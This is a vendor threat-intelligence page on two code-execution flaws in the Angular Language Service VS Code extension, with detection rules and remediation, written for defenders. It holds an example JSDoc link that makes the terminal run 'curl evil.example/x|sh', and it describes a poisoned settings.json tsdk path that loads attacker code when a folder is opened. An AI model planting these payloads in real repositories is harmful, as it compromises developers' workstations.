Skip to navigation

Threat reportVulnerabilityTL-2026-0595

Angular Language Service VS Code Extension (Angular.ng-template) Multiple RCE Vulnerabilities — GHSA-ccq4-xmxr-8hcq

highPATCHED

Two RCE-class vulnerabilities in the Angular Language Service VS Code extension (Angular.ng-template) prior to v21.2.4 allow arbitrary code execution on developer workstations. The first path abuses Markdown rendering with isTrusted:true so that a malicious JSDoc hover link executes a VS Code command URI on click.

Key facts for Angular Language Service RCE

IdentifiersTL-2026-0595
Also known asGHSA-ccq4-xmxr-8hcq, Angular Language Service RCE, Angular.ng-template tsdk RCE
SeverityHIGH
CVSS8.7 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
Exploitation statusPublic proof-of-concept exploit
Affected productsAngular (Google) Angular Language Service VS Code Extension (Angular.ng-template)
Weaknesses (CWE)CWE-79, CWE-94, CWE-427, CWE-494, CWE-829, CWE-1188
MITRE ATT&CK techniquesT1005 Data from Local System, T1036 Masquerading, T1041 Exfiltration Over C2 Channel, T1059 Command and Scripting Interpreter, T1071 Application Layer Protocol, T1083 File and Directory Discovery, T1105 Ingress Tool Transfer, T1106 Native API, T1189 Drive-by Compromise, T1195 Supply Chain Compromise, T1204 User Execution, T1480 Execution Guardrails and 8 more in the attack flow
MotivationUNKNOWN
Target sectorstechnology, software-development, financial, government, healthcare, education, defense, telecommunications
Target regionsGlobal
Detection rules9 (1 shown free)
Sources12 cited sources

Detection coverage for Angular Language Service RCE

As of 2026-05-26, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0595 across Splunk SPL, Microsoft KQL and Sigma, covering 16 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Angular Language Service tsdk Poisoning — node Child of VS Code with Workspace-Relative --tsdk (Exploitation)

Detects the Path 2 zero-click RCE artifact for GHSA-ccq4-xmxr-8hcq: VS Code (Code.exe / code-server / Code Helper) spawning Node.js with a --tsdk argument that resolves inside the just-opened workspace directory rather than the bundled VS Code TypeScript or node_modules/typescript/lib path. This is the spawn shape produced when the Angular.ng-template extension (< 21.2.4) honors a hostile .vscode/settings.json typescript.tsdk value and then require()s tsserverlibrary.js from the attacker-controlled location.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1195.001, T1059.007, T1574
  • Data sources: sysmon, windows_security, edr_process_telemetry, microsoft_defender_xdr
  • Severity: high
  • Confidence: high

Splunk SPL

index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 
  (ParentImage="*\\Code.exe" OR ParentImage="*\\Code - Insiders.exe" OR ParentImage="*\\code-server.exe" OR ParentImage="*\\Code Helper*") 
  (Image="*\\node.exe" OR Image="*/node") 
  CommandLine="*--tsdk*" 
  CommandLine="*tsserverlibrary*" 
  NOT CommandLine="*\\node_modules\\typescript\\lib*" 
  NOT CommandLine="*/node_modules/typescript/lib*" 
  NOT CommandLine="*\\resources\\app\\extensions\\node_modules\\typescript\\lib*" 
| eval workspace_relative_tsdk=if(match(CommandLine, "--tsdk\s+\.{1,2}[\\/]") OR match(CommandLine, "--tsdk\s+[^\s\"/\\\\]"), "true", "false") 
| where workspace_relative_tsdk="true" OR match(CommandLine, "--tsdk\s+\"?(?!([A-Za-z]:\\\\|/usr/|/opt/|/Applications/))") 
| stats count min(_time) as first_seen max(_time) as last_seen values(CommandLine) as cmd values(CurrentDirectory) as cwd by host User ParentImage Image 
| eval threat_id="TL-2026-0595", detection="Angular.ng-template tsdk poisoning" 
| table _time host User ParentImage Image cmd cwd count first_seen last_seen threat_id detection

Microsoft KQL

// KQL equivalent for Microsoft Defender XDR / Sentinel
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in~ ("Code.exe", "Code - Insiders.exe", "code-server.exe", "Code Helper (Plugin)", "Code Helper (Renderer)")
| where FileName in~ ("node.exe", "node")
| where ProcessCommandLine has "--tsdk"
| where ProcessCommandLine has "tsserverlibrary"
| where ProcessCommandLine !contains "node_modules\\typescript\\lib"
| where ProcessCommandLine !contains "node_modules/typescript/lib"
| where ProcessCommandLine !contains "resources\\app\\extensions\\node_modules\\typescript"
| where ProcessCommandLine matches regex @"--tsdk\s+\"?(?:\.{1,2}[\\/]|[^/\\\"A-Za-z])" or ProcessCommandLine matches regex @"--tsdk\s+\"?(?![A-Za-z]:\\|/usr/|/opt/|/Applications/|\$\{userHome\})"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, FolderPath, InitiatingProcessFolderPath
| extend ThreatId = "TL-2026-0595"

Sigma

title: Angular Language Service tsdk Poisoning — node Child of VS Code with Workspace-Relative --tsdk
id: 6d8b156b-0595-4ccq-spl1-7aef352d4b3e
status: experimental
description: Path 2 RCE artifact for GHSA-ccq4-xmxr-8hcq (Angular.ng-template < 21.2.4). VS Code spawns Node.js with --tsdk pointing inside the just-opened workspace, then require()s tsserverlibrary.js from the attacker-controlled location with the developer's privileges.
references:
    - https://github.com/angular/angular/security/advisories/GHSA-ccq4-xmxr-8hcq
    - https://github.com/angular/angular/pull/68857
author: AII-Detector — ThreadLinqs Intelligence
date: 2026/05/26
tags:
    - attack.initial_access
    - attack.t1195.001
    - attack.execution
    - attack.t1059.007
    - attack.defense_evasion
    - attack.t1574
logsource:
    product: windows
    category: process_creation
detection:
    parent_vscode:
        ParentImage|endswith:
            - '\Code.exe'
            - '\Code - Insiders.exe'
            - '\code-server.exe'
            - '\Code Helper (Plugin)'
    node_child:
        Image|endswith:
            - '\node.exe'
            - '/node'
    tsdk_argv:
        CommandLine|contains: '--tsdk'
        CommandLine|contains: 'tsserverlibrary'
    legit_tsdk_paths:
        CommandLine|contains:
            - '\node_modules\typescript\lib'
            - '/node_modules/typescript/lib'
            - '\resources\app\extensions\node_modules\typescript\lib'
    condition: parent_vscode and node_child and tsdk_argv and not legit_tsdk_paths
fields:
    - ParentImage
    - Image
    - CommandLine
    - CurrentDirectory
    - User
falsepositives:
    - Legitimate developer workflow using a workspace-local TypeScript build (rare, should be paired with a Workspace Trust prompt and a known-trusted repo)
level: high

Known false positives:

  • Developer intentionally using a workspace-local TypeScript build for a monorepo (rare; usually accompanied by a Workspace Trust prompt and a known internal repo)
  • Internal developer tooling that ships a typescript.tsdk override pointing to a build artifact directory
  • CI runners executing the VS Code Server with a pinned workspace tsdk on trusted internal repos

Tuning notes: Allowlist known internal monorepo paths and the bundled VS Code TypeScript location. Tighten by requiring the --tsdk value to resolve inside the InitiatingProcessFolderPath (workspace cwd) for highest fidelity. Pair with a check that Angular.ng-template extension version on the host is < 21.2.4 for actionable triage.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • Angular Language Service tsdk Poisoning — DeviceProcessEvents (Exploitation) · unlock with TL Creds
  • [indicator] Loaded from Non-Standard Path — Image Load Hijack (Post-Exploitation) · unlock with TL Creds
  • VS Code Terminal sendSequence Command URI Execution from JSDoc Hover (C2/Lateral) · unlock with TL Creds
  • Sigma — Angular.ng-template tsdk Poisoning (Exploitation, Cross-SIEM) · unlock with TL Creds
  • Sigma — JSDoc Markdown command: URI in TypeScript/JavaScript Source (Post-Exploitation/Hostile-Repo Staging) · unlock with TL Creds
  • Sigma — Node Child of VS Code Initiating Outbound Connection on Folder Open (C2/Lateral) · unlock with TL Creds
  • Hostile Workspace Settings — [indicator] with Workspace-Relative typescript.tsdk (Post-Exploitation/Persistence) · unlock with TL Creds
  • Outbound C2 from node Child of VS Code Within Seconds of Folder Open (C2/Lateral Movement) · unlock with TL Creds

Indicators of compromise for Angular Language Service RCE

As of 2026-05-26, Threadlinqs Intelligence tracks 16 indicators of compromise for TL-2026-0595.

16 indicators of compromise · unlock with TL Creds. Compare plans

How Angular Language Service RCE works

The second is a zero-click Workspace Trust bypass: the extension reads typescript.tsdk from workspace .vscode/settings.json without consent and Node.js require()s tsserverlibrary.js from the attacker-controlled path the moment the project is opened. With 9.5M+ marketplace installs and a now-standard developer-targeting supply-chain TTP (open the repo, get owned), the tsdk vector is the dangerous one.

## Overview

GHSA-ccq4-xmxr-8hcq covers a cluster of remote code execution defects in the Angular Language Service Visual Studio Code extension (`Angular.ng-template`, publisher Angular/Google) for all versions prior to **21.2.4**. The extension is installed approximately **9.5 million times** on the VS Code Marketplace, giving the bug class an exceptionally broad blast radius across enterprise development environments, CI runners with VS Code Server, and individual developer workstations.

Two distinct exploitation paths are confirmed in the advisory and the merged patch set (PRs #68857, #68858, #68886 against `github.com/angular/angular`, merged 2026-05-22 to `main` and `22.0.x`).

## Path 1 — JSDoc Hover Markdown Command Injection (UI:P, hover + click)

The Angular client extension (`client/src/client.ts`) instantiates VS Code Markdown tooltip renderers with `isTrusted: true`. Per the official VS Code extension guides, that flag allows rendered Markdown to invoke `command:` URIs. The language server (`server/src/handlers/hover.ts`, `server/src/text_render.ts`) builds hover content from JSDoc comments attached to TypeScript/JavaScript symbols (including inline Angular templates) **without escaping square brackets or sanitizing raw Markdown links**. An attacker who controls a file in a repository — whether top-level, transitive in `node_modules`, or pulled in by a custom resolver — can plant a JSDoc comment containing a Markdown link such as `[Docs](command:workbench.action.terminal.sendSequence?{"text":"curl evil.example/x|sh\n"})`. When the developer hovers the symbol and clicks the link in the tooltip, VS Code executes the embedded command URI, which can chain to shell command execution via terminal-sequence injection, `vscode.openFolder`, task execution, etc. Patch #68858 (commit `6d8b156b45` / `eeb7da76db55f50d48c3b92c736ee257a5193c3e`) restricts JSDoc Markdown trust, hardens document opening through official workspace APIs, and routes hover links through a dedicated `openJSDocLink` command handler that enforces allowlisting.

## Path 2 — `typescript.tsdk` Insecure Library Load (UI:N on project open, Workspace Trust bypass)

The client extension reads `typescript.tsdk` and the newer `js/ts.tsdk.path` directly from workspace settings during activation, **without checking Workspace Trust** and without prompting. The resolved string is forwarded as the `--tsdk <path>` CLI argument to the spawned Node.js language server. The server then resolves `<tsdk>/tsserverlibrary.js` and loads it via Node's native `require()`, executing the file in the LS process with the developer's user privileges.

A hostile repository ships a `.vscode/settings.json` containing for example `"typescript.tsdk": "./.evil"` together with `./.evil/tsserverlibrary.js` containing arbitrary Node code. The moment the developer runs `git clone` and `code <repo>` — or VS Code reopens the folder from history — the Angular Language Service auto-spawns, `require()`s the attacker file, and code execution occurs **with zero user interaction**. Workspace Trust is bypassed because the load happens before the extension enters Restricted Mode boundaries. Patch #68857 (commit `82cf38ad95` / `7aef352d4b3e09e184e3d456e86bc00c515bfaa4`) prompts for confirmation before loading a workspace tsdk and ignores tsdk entirely in untrusted workspaces; patch #68886 (commit `4a41831326`) disables the language server outright in untrusted workspaces as defense in depth.

## Supply-Chain Context

The vulnerability arrives in the same threat-model neighborhood as the 2025 Nx Console VS Code extension supply-chain compromise (which impacted roughly 3,800 GitHub repositories), the Lazarus/Contagious-Interview campaigns that lure developers into cloning malicious repos under coding-interview pretexts, and the recurring class of `vscode-*` and IDE-extension bugs that let an opened folder execute code. Any actor running a malicious-repo lure (fake job interview takehome, fake PR review request, look-alike OSS fork, typo-squatted dependency containing a `.vscode/` directory) can weaponize Path 2 today with a five-line `settings.json` and a tiny `tsserverlibrary.js` payload.

## Discovery & Disclosure

The advisory was published 2026-05-23 08:07 UTC by `alan-agius4` of the Angular team. Remediation was developed by `atscott` (Andrew Scott) with merges by `alxhub` and additional credit to `josephperrott`. No external researcher is publicly credited; discovery appears to be internal. No CVE has been assigned at time of publication — the GitHub Advisory Database returns `cve_id: null`, and NVD has no matching record.

## Severity

Angular publishes CVSS v4.0 only: **8.7 High** with vector `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`. The `UI:P` value reflects Path 1; Path 2 in isolation would warrant `UI:N` (true zero-click), so 8.7 is a conservative single-vector summary. No CVSS v3.1 vector was published.

## Affected Versions and Fix

Vulnerable: `Angular.ng-template` < 21.2.4 (all prior versions). Patched: 21.2.4, released on or about 2026-05-22/23 in conjunction with the advisory. The standalone repo `angular/vscode-ng-language-service` was archived on 2025-11-21; security work is performed in the consolidated `angular/angular` monorepo.

MITRE ATT&CK techniques by tactic:

Collection

T1005 Data from Local System

Defense Evasion

T1036 Masquerading; T1480 Execution Guardrails; T1574 Hijack Execution Flow

Exfiltration

T1041 Exfiltration Over C2 Channel

Execution

T1059 Command and Scripting Interpreter; T1106 Native API; T1204 User Execution

Command and Control

T1071 Application Layer Protocol; T1105 Ingress Tool Transfer

Discovery

T1083 File and Directory Discovery

Initial Access

T1189 Drive-by Compromise; T1195 Supply Chain Compromise; T1566 Phishing

Persistence

T1546 Event Triggered Execution

Credential Access

T1552 Unsecured Credentials; T1555 Credentials from Password Stores

Resource Development

T1583 Acquire Infrastructure; T1587 Develop Capabilities; T1608 Stage Capabilities

Remediation for Angular Language Service RCE

Patches

  • Angular.ng-template VS Code extension 21.2.4 (Marketplace, May 22-23 2026)
  • angular/angular PR #68857 commit 7aef352d4b3e09e184e3d456e86bc00c515bfaa4 — tsdk consent prompt + untrusted-workspace gate
  • angular/angular PR #68858 commit eeb7da76db55f50d48c3b92c736ee257a5193c3e — JSDoc Markdown trust restriction + openJSDocLink command
  • angular/angular PR #68886 — disable Angular Language Service in untrusted workspaces

Immediate actions

  • Upgrade Angular.ng-template VS Code extension to >= 21.2.4 organization-wide (push via VS Code extension management, MDM, or `code --install-extension Angular.ng-template@21.2.4`).
  • Block VS Code auto-update lag by deploying an extensions allowlist (`extensions.json` recommendations + `code-workspace.recommendations`) that pins to 21.2.4+.
  • Enable VS Code Workspace Trust globally (`security.workspace.trust.enabled: true`, `security.workspace.trust.untrustedFiles: prompt`, `security.workspace.trust.startupPrompt: always`).
  • Audit all developer workstations for cloned repositories containing a `typescript.tsdk` or `js/ts.tsdk.path` value in `.vscode/settings.json` that points to a workspace-relative path; quarantine the repo and the developer host pending triage.
  • Block outbound network from `node` child processes of Code.exe / code-server that fire within 10 seconds of folder open (EDR behavioral rule).

Workarounds

  • Disable Angular.ng-template extension (`code --disable-extension Angular.ng-template`) on any workstation that cannot patch immediately.
  • Use VS Code Restricted Mode (`security.workspace.trust.untrustedFiles: newWindow`) for any unfamiliar repository.
  • Override the user-level setting `typescript.tsdk` to an absolute path to the bundled VS Code TypeScript install and treat workspace overrides as suspect via Conditional Access on `settings.json` deltas.
  • Strip `.vscode/` directories from incoming repositories with a Git pre-clone hook or repository sandbox before opening in VS Code.

Longer-term hardening

  • Mandate Workspace Trust restricted mode for any repository pulled from outside the organization (GitHub forks, npm tarballs, contractor handoffs, interview takehomes).
  • Move developer IDE workloads to ephemeral dev containers / GitHub Codespaces / VS Code Remote Dev so RCE on the LS process is contained.
  • Inventory and pin VS Code extensions via Group Policy / MDM; treat the Marketplace as an untrusted supply chain and apply the same controls used for OS packages (allowlist, pin, scan).
  • Deploy EDR with behavioral detection for Node.js child processes of editor binaries that load JS files from non-standard `tsserver`/`tsserverlibrary` paths.
  • Train developers on the `git clone` → `code .` attack pattern; require Restricted Mode for any repo not yet reviewed.

Affected and fixed versions

  • Angular (Google) — Angular Language Service VS Code Extension (Angular.ng-template)
    Vulnerable versions: < 21.2.4
    Fixed in: 21.2.4

Timeline of Angular Language Service RCE

  • Standalone repository angular/vscode-ng-language-service archived; Angular Language Service development consolidated into the angular/angular monorepo.
  • PRs #68857 (commit 7aef352d4b3e09e184e3d456e86bc00c515bfaa4 — tsdk consent prompt) and #68858 (commit eeb7da76db55f50d48c3b92c736ee257a5193c3e — JSDoc Markdown trust restriction) and #68886 (disable LS in untrusted workspaces) merged to angular/angular main and 22.0.x branches.
  • GitHub Security Advisory GHSA-ccq4-xmxr-8hcq published at 08:07 UTC by alan-agius4 of the Angular team; severity High (CVSS v4.0 8.7); no CVE assigned.
  • Angular.ng-template extension 21.2.4 published to the VS Code Marketplace bundling all three patches.
  • Threadlinqs Intelligence published TL-2026-0595 with full MITRE mapping, detections, and simulations to support patching and hunting across enterprise developer estates.
  • Coverage in Cyber Security News, Cyber Press, and GBHackers describing both attack paths and emphasizing the zero-click tsdk vector against the 9.5M-install developer extension.
  • As of 2026-05-29, GHSA-ccq4-xmxr-8hcq is fixed: Angular.ng-template 21.2.4 is the current Marketplace release bundling all three patches (PRs #68857/#68858/#68886), with no evidence of in-the-wild exploitation and no CISA KEV listing. Risk persists only on unpatched <21.2.4 estates via the clone-and-open TTP, so org-wide upgrade remains the action.

Sources cited for Angular Language Service RCE

Previous and next in vulnerability

Drafted by the Threadlinqs research pipeline from 12 sources; published ; last updated —.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats